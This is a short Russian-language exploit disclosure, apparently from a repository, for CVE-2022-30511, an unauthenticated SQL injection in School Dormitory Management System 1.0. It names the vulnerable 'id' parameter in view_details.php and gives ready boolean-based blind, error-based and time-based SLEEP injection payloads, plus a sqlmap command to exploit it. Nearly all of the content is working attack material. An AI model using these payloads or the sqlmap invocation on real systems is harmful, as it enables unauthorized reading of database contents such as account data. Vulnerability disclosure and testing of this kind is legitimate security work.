bigzooooz/cve-2022-30511School Dormitory Management System 1.0 - Неавторизованная SQL-инъекция
Система управления школьным общежитием 1.0 - Неаутентифицированная SQL-инъекция
[#] Местонахождение уязвимости:
$_GET['id'] in /dms/admin/accounts/view_details.php:4
Параметр: id (GET) Тип: boolean-based blind Название: AND boolean-based blind - WHERE or HAVING clause Полезная нагрузка: page=accounts/view_details&id=2' AND 8853=8853 AND 'kujz'='kujz
Тип: error-based
Название: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Полезная нагрузка: page=accounts/view_details&id=2' AND (SELECT 8739 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(8739=8739,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'fkLf'='fkLf
Тип: time-based blind
Название: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Полезная нагрузка: page=accounts/view_details&id=2' AND (SELECT 7339 FROM (SELECT(SLEEP(5)))Dkxx) AND 'UZCm'='UZCm
[#] Эксплуатация с помощью SQLMAP:
sqlmap -u "http://localhost/dms/admin/?page=accounts/view_details&id=2" --dbms=mysql